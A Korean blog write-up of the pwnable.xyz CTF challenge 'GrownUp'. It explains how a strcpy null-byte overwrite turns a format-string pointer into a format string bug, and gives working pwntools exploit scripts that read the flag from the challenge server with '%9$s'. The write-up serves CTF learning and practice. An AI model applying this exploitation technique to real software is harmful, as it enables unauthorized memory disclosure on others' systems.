[pwnable.xyz] GrownUp Write-Up

Kioreo·2023년 2월 1일
0

pwnable.xyz

목록 보기
5/7

Analyze


문제 설명에 flag가 binary 안에 있다고 말해주고 있습니다.
이처럼 문제 설명에 힌트가 들어 있는 문제가 많이 있습니다.

Mitigation


Partial RELRO로 적용되어 있어 GOT overwrite이 가능하다는 것을 알 수 있습니다.

Code


main함수를 간단하게 훑었을 땐 특별하게 보이는 것은 없습니다.
처음에 18살 인지 Yes/No로 물어보고 0x80만큼 src에 입력받은 후 src를 usr에 복사한 후 src, usr을 출력해줍니다. 그런데 21번 라인 printf문에서 어떤 주소를 매개변수로 받고 있습니다. 이 부분이 조금 특이해 qword_601160을 중점으로 코드를 보겠습니다.

처음 setup함수를 보면 setvbuf로 버퍼링 방식을 변경해주고 signal함수를 실행합니다. 이 부분까지는 무시해도 될 것 같습니다. 다음 줄인 6번 라인에서 찾고 있던 qword_601160을 세팅해줍니다.
qword_601160byte_601168의 주소를 넣어주고 byte_601168에 '%s\n'을 넣어줍니다.
그럼 main함수의 21번 라인은 printf("%s\n", usr)이 됩니다.
취약점이 발생하는 부분은 strcpy가 있는 19번 라인이다. strcpy는 문자열 마지막에 NULL을 삽입해주기 때문에 usr 다음에 1byte에 NULL 값이 들어간다.

read() : 입력 끝난 후 문자열에 끝에 NULL 문자를 삽입하지 않는다.
strcpy() : 복사가 끝난 후 문자열 끝에 NULL 문자를 삽입한다.

IDA를 이용해서 usr+0x80의 주소를 확인해보니 qword_601160이었습니다.
0x601160에는 0x601168이 저장되어있습니다. 리눅스에서 메모리를 리틀엔디안 방식으로 저장하기 때문에 strcpy로 1byte가 NULL이 되면 0x601100이 됩니다. 0x601100usr+0x20의 위치이기에 usr+20부터 포맷스트링을 넣어주면 FSB가 발생하게 됩니다.

IDA에서 shitt + F12를 눌러 FLAG의 위치를 확인할 수 있습니다. No PIE이므로 서버에서의 flag주소가 같습니다.

  • flag 위치 : 0x601080

Exploit Scenario

먼저, src는 heap영역에 존제하기 때문에 stack에 있는 buf에 flag주소를 넣어주고 찾아줍시다.

from pwn import *

sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x: p.sendline(x)

binary = "./GrownUpRedist"

p = remote("svc.pwnable.xyz", 30004)
e = ELF(binary)
flag = e.symbols['flag']

payload = b'y'*8
payload += p32(flag)

sla(": ", payload)
 
fsb_payload = b'A'*0x20
fsb_payload += b'%p '*0x10
fsb_payload += b'A' * (0x80 - len(fsb_payload))

sla("Name: ", fsb_payload)

p.interactive()

익스를 돌려주면 아래와 같이 보이고 0x601080은 9번째에 위치하였습니다. 그럼 9번째 값을 '%s'로 값을 확인하면 flag를 확인할 수 있습니다.

Summary

  1. buf : y*0x8+(flag_addr)
  2. src : A*0x20+'%9$s'

payload

from pwn import *

sla = lambda x, y : p.sendlineafter(x, y)
sa = lambda x, y : p.sendafter(x, y)
sl = lambda x: p.sendline(x)

binary = "./GrownUpRedist"

p = remote("svc.pwnable.xyz", 30004)
e = ELF(binary)
flag = e.symbols['flag']

payload = b'y'*8
payload += p32(flag)

sla(": ", payload)
 
fsb_payload = b'A'*0x20
fsb_payload += b'%9$s'
fsb_payload += b'A' * (0x80 - len(fsb_payload))

sla("Name: ", fsb_payload)

p.interactive()
profile
Layer7 23rd

0개의 댓글